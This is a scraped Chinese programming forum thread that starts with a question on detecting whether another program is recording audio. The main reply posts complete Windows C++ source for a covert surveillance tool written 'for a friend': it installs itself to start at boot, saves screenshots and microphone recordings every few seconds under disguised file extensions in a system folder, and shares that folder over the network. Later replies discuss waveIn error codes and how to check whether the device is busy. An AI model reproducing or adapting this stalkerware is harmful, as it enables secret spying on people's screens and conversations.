怎样判断是否有别的程序在录音? 很简单,请问怎样判断是否有别的程序在录音?或着说是在调用录音设备。 解决方案 » 免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货 如果能加上这个功能,那下面的代码就圆满了。一个朋友叫我帮忙写的,我的内心很纠结,从来没干过这种事……放代码,不解释#include <tchar.h>#include <atlstr.h>#include <windows.h>#include <gdiplus.h>#include <lm.h>#pragma comment( lib, "gdiplus" )#pragma comment( lib, "Netapi32" )#pragma comment( lib, "Winmm" )using namespace Gdiplus;int WINAPI WinMain( HINSTANCE hInst, HINSTANCE, LPSTR, int ){ // 获取当前进程句柄,降优先级为Idel。 DWORD dwProcId = GetCurrentProcessId(); HANDLE hProc = OpenProcess( PROCESS_SET_INFORMATION, NULL, dwProcId ); SetPriorityClass( hProc, IDLE_PRIORITY_CLASS ); CloseHandle( hProc ); // 获取本进程的exe文件路径 CString strImageName; GetModuleFileName( (HMODULE)hInst, strImageName.GetBuffer( MAX_PATH ), MAX_PATH ); strImageName.ReleaseBuffer(); // 建立互斥量,必免程序运行多个实例 HANDLE hMutex = CreateMutex(NULL,TRUE,_T("SilentRec")); if( GetLastError() == ERROR_ALREADY_EXISTS ) { return 0; } // 在注册表注册为开机启动 HKEY hKey; RegOpenKeyEx( HKEY_LOCAL_MACHINE, _T("SOFTWARE\\Microsoft\\Windows\\") _T("CurrentVersion\\Run"), 0, KEY_ALL_ACCESS, &hKey ); RegSetValueEx( hKey, _T("SilentRec"), 0, REG_SZ, (LPBYTE)(LPCTSTR)strImageName, sizeof(TCHAR) * strImageName.GetLength() ); RegCloseKey( hKey ); // 创建保存目录并设为共享 LPCWSTR lpPath = L"c:\\windows\\system\\capture"; CreateDirectory( CString( lpPath ), NULL ); SHARE_INFO_2 shi2; ZeroMemory( &shi2, sizeof(shi2) ); shi2.shi2_netname = L"01SYSTEM"; shi2.shi2_type = STYPE_DISKTREE; shi2.shi2_permissions = ACCESS_READ | ACCESS_WRITE | ACCESS_CREATE; shi2.shi2_max_uses = SHI_USES_UNLIMITED; shi2.shi2_path = (LPWSTR)lpPath; NetShareAdd( NULL, 2, (LPBYTE)&shi2, NULL ); DWORD dwGapTime = 15; // 初始化音频设备 HWAVEIN hwi = NULL; WAVEFORMATEX wf; wf.wFormatTag = WAVE_FORMAT_PCM; wf.nChannels = 1; wf.nSamplesPerSec = 11025; wf.nAvgBytesPerSec = 11025; wf.nBlockAlign = 1; wf.wBitsPerSample = 8; wf.cbSize = sizeof(wf); waveInOpen( &hwi, 0, &wf, NULL, 0, CALLBACK_NULL ); // 准备录音缓冲区 WAVEHDR whdr; ZeroMemory( &whdr, sizeof(whdr) ); whdr.dwBufferLength = dwGapTime * wf.nAvgBytesPerSec; whdr.lpData = new char[ whdr.dwBufferLength ]; // 初始化GDI+ GdiplusStartupInput gdiplusStartupInput; ULONG_PTR gdiplusToken; GdiplusStartup( &gdiplusToken, &gdiplusStartupInput, NULL ); // 获取编码器列表 UINT nEncNum, nEncSize; GetImageEncodersSize( &nEncNum, &nEncSize ); ImageCodecInfo* pImageCodecInfo = (ImageCodecInfo*)malloc( nEncSize ); GetImageEncoders( nEncNum, nEncSize, pImageCodecInfo ); //在列表中查找PNG编码器的CLSID CLSID encoderClsid; for( UINT i = 0; i < nEncNum; ++i ) { if( wcscmp( pImageCodecInfo[i].MimeType, L"image/jpeg" ) == 0 ) { encoderClsid = pImageCodecInfo[i].Clsid; break; } } free( pImageCodecInfo ); // 获取屏幕尺寸 DWORD dwScrX = GetSystemMetrics( SM_CXSCREEN ); DWORD dwScrY = GetSystemMetrics( SM_CYSCREEN ); // 获取屏幕显示DC HDC hScrDC = CreateDC( _T("DISPLAY"), NULL, NULL, NULL ); // 并初始化内存DC和位图 HDC hMemDC = CreateCompatibleDC( hScrDC ); HBITMAP hMemBmp = CreateCompatibleBitmap( hScrDC, dwScrX, dwScrY ); HBITMAP hOldBmp = (HBITMAP)SelectObject( hMemDC, hMemBmp ); // 每15秒存一张 for ( CString strFileName; ; ) { // 用时间作为文件名 SYSTEMTIME st; GetLocalTime( &st ); strFileName.Format( _T("%s\\%02d%02d_%02d%02d%02d.dai"), (LPCTSTR)CString( lpPath ), st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond ); //截取屏幕 BitBlt( hMemDC, 0, 0, dwScrX, dwScrY, hScrDC, 0, 0, SRCCOPY ); Bitmap *pBmp = Bitmap::FromHBITMAP( hMemBmp, NULL ); // 保存文件到指定目录。 pBmp->Save( strFileName, &encoderClsid, NULL ); delete pBmp; // 开始录音 waveInPrepareHeader( hwi, &whdr, sizeof(whdr) ); waveInAddBuffer( hwi, &whdr, sizeof(whdr) ); waveInStart( hwi ); Sleep( dwGapTime ); waveInStop( hwi ); // 写入wav文件 DWORD dwData, dwRes; GetLocalTime( &st ); strFileName.Format( _T("%s\\%02d%02d_%02d%02d%02d.daw"), (LPCTSTR)CString( lpPath ), st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond ); HANDLE hFile = CreateFile( strFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL ); WriteFile( hFile, "RIFF", 4, &dwRes, NULL); dwData = whdr.dwBufferLength + 18 + 20; WriteFile( hFile, &dwData, 4, &dwRes, NULL ); WriteFile( hFile, "WAVEfmt ", 8, &dwRes, NULL ); dwData = 18; WriteFile( hFile, &dwData, 4, &dwRes, NULL ); WriteFile( hFile, &wf, sizeof(wf), &dwRes, NULL); WriteFile( hFile, "data", 4, &dwRes, NULL ); dwData = whdr.dwBufferLength; WriteFile( hFile, &dwData, 4, &dwRes, NULL ); WriteFile( hFile, whdr.lpData, dwData, &dwRes, NULL ); SetEndOfFile( hFile ); CloseHandle( hFile ); waveInReset( hwi ); waveInUnprepareHeader( hwi, &whdr, sizeof(whdr) ); }/* // 以下代码不会用到了,所以注掉吧。 // 关闭音频设备 waveInClose( hwi ); 释放内存 delete[] whdr.lpData; // 释放内存DC和位图 SelectObject( hMemDC, hOldBmp ); DeleteObject( hMemBmp ); DeleteDC( hMemDC ); DeleteDC( hScrDC ); // 关闭GDI+ GdiplusShutdown( gdiplusToken );*/} 不是用了waveIn的api了么,判断返回值啊://waveInPrepareHeaderwaveInPrepareHeader( hWaveIn: HWAVEIN; {设备句柄} lpWaveInHdr: PWaveHdr; {TWaveHdr 结构的指针} uSize: UINT {TWaveHdr 结构大小} ): MMRESULT; {成功返回 0; 可能的错误值见下:}MMSYSERR_INVALHANDLE = 5; {设备句柄无效}MMSYSERR_NOMEM = 7; {不能分配或锁定内存}MMSYSERR_HANDLEBUSY = 12; {其他线程正在使用该设备}//waveInOpenwaveInOpen( lphWaveIn: PHWAVEIN; {用于返回设备句柄的指针; 如果 dwFlags=WAVE_FORMAT_QUERY, 这里应是 nil} uDeviceID: UINT; {设备ID; 可以指定为: WAVE_MAPPER, 这样函数会根据给定的波形格式选择合适的设备} lpFormatEx: PWaveFormatEx; {TWaveFormat 结构的指针; TWaveFormat 包含要申请的波形格式} dwCallback: DWORD {回调函数地址或窗口句柄; 若不使用回调机制, 设为 nil} dwInstance: DWORD {给回调函数的实例数据; 不用于窗口} dwFlags: DWORD {打开选项}): MMRESULT; {成功返回 0; 可能的错误值见下:}MMSYSERR_BADDEVICEID = 2; {设备ID超界}MMSYSERR_ALLOCATED = 4; {指定的资源已被分配}MMSYSERR_NODRIVER = 6; {没有安装驱动程序}MMSYSERR_NOMEM = 7; {不能分配或锁定内存}WAVERR_BADFORMAT = 32; {设备不支持请求的波形格式} 在waveInOpen处判断一下返回值吧,不过不被其他程序占用,应该是没有返回错误码的。 //在 初始化音频设备 前加上这句 WAVEFORMATEX wfq; HWAVEIN hwi1 = NULL; wfq.wFormatTag = WAVE_FORMAT_PCM; wfq.nChannels = 1; wfq.nSamplesPerSec = 11025; wfq.nAvgBytesPerSec = 11025; wfq.nBlockAlign = 1; wfq.wBitsPerSample = 8; wfq.cbSize = sizeof(wfq); if (NULL == waveInOpen( &hwi1, 0, &wfq, NULL, 0, 0)) { MessageBox(NULL, _T("设备已打开"), NULL, MB_OK); return 1; } SDK创建的自定义状态栏被DC绘制的内容覆盖,如何解决 如何管理多个文件 教一个ODBC与ADO的问题。大家都讨论一下 子控件消息的处理问题,求助 求高人指导 如何net send命令收到的消息? 请教一个关于在CListCtrl中添加位图的问题 求助!!!我的VC 6.0一装上系统就会变得很不稳定. 写给ASP程序调用的com是否只能放在服务器上运行,放在本地可以吗? 回车!!!快答快有分!!! 键盘系统钩子的问题 如何在view中显示dialog
如果能加上这个功能,那下面的代码就圆满了。一个朋友叫我帮忙写的,我的内心很纠结,从来没干过这种事……
放代码,不解释#include <tchar.h>
#include <atlstr.h>
#include <windows.h>
#include <gdiplus.h>
#include <lm.h>#pragma comment( lib, "gdiplus" )
#pragma comment( lib, "Netapi32" )
#pragma comment( lib, "Winmm" )using namespace Gdiplus;int WINAPI WinMain( HINSTANCE hInst, HINSTANCE, LPSTR, int )
{
// 获取当前进程句柄,降优先级为Idel。
DWORD dwProcId = GetCurrentProcessId();
HANDLE hProc = OpenProcess( PROCESS_SET_INFORMATION, NULL, dwProcId );
SetPriorityClass( hProc, IDLE_PRIORITY_CLASS );
CloseHandle( hProc );
// 获取本进程的exe文件路径
CString strImageName;
GetModuleFileName( (HMODULE)hInst, strImageName.GetBuffer( MAX_PATH ),
MAX_PATH );
strImageName.ReleaseBuffer();
// 建立互斥量,必免程序运行多个实例
HANDLE hMutex = CreateMutex(NULL,TRUE,_T("SilentRec"));
if( GetLastError() == ERROR_ALREADY_EXISTS )
{
return 0;
}
// 在注册表注册为开机启动
HKEY hKey;
RegOpenKeyEx( HKEY_LOCAL_MACHINE, _T("SOFTWARE\\Microsoft\\Windows\\")
_T("CurrentVersion\\Run"), 0, KEY_ALL_ACCESS, &hKey );
RegSetValueEx( hKey, _T("SilentRec"), 0, REG_SZ,
(LPBYTE)(LPCTSTR)strImageName,
sizeof(TCHAR) * strImageName.GetLength() );
RegCloseKey( hKey );
// 创建保存目录并设为共享
LPCWSTR lpPath = L"c:\\windows\\system\\capture";
CreateDirectory( CString( lpPath ), NULL );
SHARE_INFO_2 shi2;
ZeroMemory( &shi2, sizeof(shi2) );
shi2.shi2_netname = L"01SYSTEM";
shi2.shi2_type = STYPE_DISKTREE;
shi2.shi2_permissions = ACCESS_READ | ACCESS_WRITE | ACCESS_CREATE;
shi2.shi2_max_uses = SHI_USES_UNLIMITED;
shi2.shi2_path = (LPWSTR)lpPath;
NetShareAdd( NULL, 2, (LPBYTE)&shi2, NULL );
DWORD dwGapTime = 15;
// 初始化音频设备
HWAVEIN hwi = NULL;
WAVEFORMATEX wf;
wf.wFormatTag = WAVE_FORMAT_PCM;
wf.nChannels = 1;
wf.nSamplesPerSec = 11025;
wf.nAvgBytesPerSec = 11025;
wf.nBlockAlign = 1;
wf.wBitsPerSample = 8;
wf.cbSize = sizeof(wf);
waveInOpen( &hwi, 0, &wf, NULL, 0, CALLBACK_NULL );
// 准备录音缓冲区
WAVEHDR whdr;
ZeroMemory( &whdr, sizeof(whdr) );
whdr.dwBufferLength = dwGapTime * wf.nAvgBytesPerSec;
whdr.lpData = new char[ whdr.dwBufferLength ];
// 初始化GDI+
GdiplusStartupInput gdiplusStartupInput;
ULONG_PTR gdiplusToken;
GdiplusStartup( &gdiplusToken, &gdiplusStartupInput, NULL );
// 获取编码器列表
UINT nEncNum, nEncSize;
GetImageEncodersSize( &nEncNum, &nEncSize );
ImageCodecInfo* pImageCodecInfo = (ImageCodecInfo*)malloc( nEncSize );
GetImageEncoders( nEncNum, nEncSize, pImageCodecInfo );
//在列表中查找PNG编码器的CLSID
CLSID encoderClsid;
for( UINT i = 0; i < nEncNum; ++i )
{
if( wcscmp( pImageCodecInfo[i].MimeType, L"image/jpeg" ) == 0 )
{
encoderClsid = pImageCodecInfo[i].Clsid;
break;
}
}
free( pImageCodecInfo );
// 获取屏幕尺寸
DWORD dwScrX = GetSystemMetrics( SM_CXSCREEN );
DWORD dwScrY = GetSystemMetrics( SM_CYSCREEN );
// 获取屏幕显示DC
HDC hScrDC = CreateDC( _T("DISPLAY"), NULL, NULL, NULL );
// 并初始化内存DC和位图
HDC hMemDC = CreateCompatibleDC( hScrDC );
HBITMAP hMemBmp = CreateCompatibleBitmap( hScrDC, dwScrX, dwScrY );
HBITMAP hOldBmp = (HBITMAP)SelectObject( hMemDC, hMemBmp );
// 每15秒存一张
for ( CString strFileName; ; )
{
// 用时间作为文件名
SYSTEMTIME st;
GetLocalTime( &st );
strFileName.Format( _T("%s\\%02d%02d_%02d%02d%02d.dai"),
(LPCTSTR)CString( lpPath ), st.wMonth, st.wDay,
st.wHour, st.wMinute, st.wSecond );
//截取屏幕
BitBlt( hMemDC, 0, 0, dwScrX, dwScrY, hScrDC, 0, 0, SRCCOPY );
Bitmap *pBmp = Bitmap::FromHBITMAP( hMemBmp, NULL );
// 保存文件到指定目录。
pBmp->Save( strFileName, &encoderClsid, NULL );
delete pBmp;
// 开始录音
waveInPrepareHeader( hwi, &whdr, sizeof(whdr) );
waveInAddBuffer( hwi, &whdr, sizeof(whdr) );
waveInStart( hwi );
Sleep( dwGapTime );
waveInStop( hwi );
// 写入wav文件
DWORD dwData, dwRes;
GetLocalTime( &st );
strFileName.Format( _T("%s\\%02d%02d_%02d%02d%02d.daw"),
(LPCTSTR)CString( lpPath ), st.wMonth, st.wDay,
st.wHour, st.wMinute, st.wSecond );
HANDLE hFile = CreateFile( strFileName, GENERIC_WRITE, 0,
NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL );
WriteFile( hFile, "RIFF", 4, &dwRes, NULL);
dwData = whdr.dwBufferLength + 18 + 20;
WriteFile( hFile, &dwData, 4, &dwRes, NULL );
WriteFile( hFile, "WAVEfmt ", 8, &dwRes, NULL );
dwData = 18;
WriteFile( hFile, &dwData, 4, &dwRes, NULL );
WriteFile( hFile, &wf, sizeof(wf), &dwRes, NULL);
WriteFile( hFile, "data", 4, &dwRes, NULL );
dwData = whdr.dwBufferLength;
WriteFile( hFile, &dwData, 4, &dwRes, NULL );
WriteFile( hFile, whdr.lpData, dwData, &dwRes, NULL );
SetEndOfFile( hFile );
CloseHandle( hFile );
waveInReset( hwi );
waveInUnprepareHeader( hwi, &whdr, sizeof(whdr) );
}
/*
// 以下代码不会用到了,所以注掉吧。
// 关闭音频设备
waveInClose( hwi );
释放内存
delete[] whdr.lpData;
// 释放内存DC和位图
SelectObject( hMemDC, hOldBmp );
DeleteObject( hMemBmp );
DeleteDC( hMemDC );
DeleteDC( hScrDC );
// 关闭GDI+
GdiplusShutdown( gdiplusToken );
*/
}
waveInPrepareHeader(
hWaveIn: HWAVEIN; {设备句柄}
lpWaveInHdr: PWaveHdr; {TWaveHdr 结构的指针}
uSize: UINT {TWaveHdr 结构大小}
): MMRESULT; {成功返回 0; 可能的错误值见下:}MMSYSERR_INVALHANDLE = 5; {设备句柄无效}
MMSYSERR_NOMEM = 7; {不能分配或锁定内存}
MMSYSERR_HANDLEBUSY = 12; {其他线程正在使用该设备}
//waveInOpen
waveInOpen(
lphWaveIn: PHWAVEIN; {用于返回设备句柄的指针; 如果 dwFlags=WAVE_FORMAT_QUERY, 这里应是 nil}
uDeviceID: UINT; {设备ID; 可以指定为: WAVE_MAPPER, 这样函数会根据给定的波形格式选择合适的设备}
lpFormatEx: PWaveFormatEx; {TWaveFormat 结构的指针; TWaveFormat 包含要申请的波形格式}
dwCallback: DWORD {回调函数地址或窗口句柄; 若不使用回调机制, 设为 nil}
dwInstance: DWORD {给回调函数的实例数据; 不用于窗口}
dwFlags: DWORD {打开选项}
): MMRESULT; {成功返回 0; 可能的错误值见下:}MMSYSERR_BADDEVICEID = 2; {设备ID超界}
MMSYSERR_ALLOCATED = 4; {指定的资源已被分配}
MMSYSERR_NODRIVER = 6; {没有安装驱动程序}
MMSYSERR_NOMEM = 7; {不能分配或锁定内存}
WAVERR_BADFORMAT = 32; {设备不支持请求的波形格式}
WAVEFORMATEX wfq;
HWAVEIN hwi1 = NULL;
wfq.wFormatTag = WAVE_FORMAT_PCM;
wfq.nChannels = 1;
wfq.nSamplesPerSec = 11025;
wfq.nAvgBytesPerSec = 11025;
wfq.nBlockAlign = 1;
wfq.wBitsPerSample = 8;
wfq.cbSize = sizeof(wfq);
if (NULL == waveInOpen( &hwi1, 0, &wfq, NULL, 0, 0))
{
MessageBox(NULL, _T("设备已打开"), NULL, MB_OK);
return 1;
}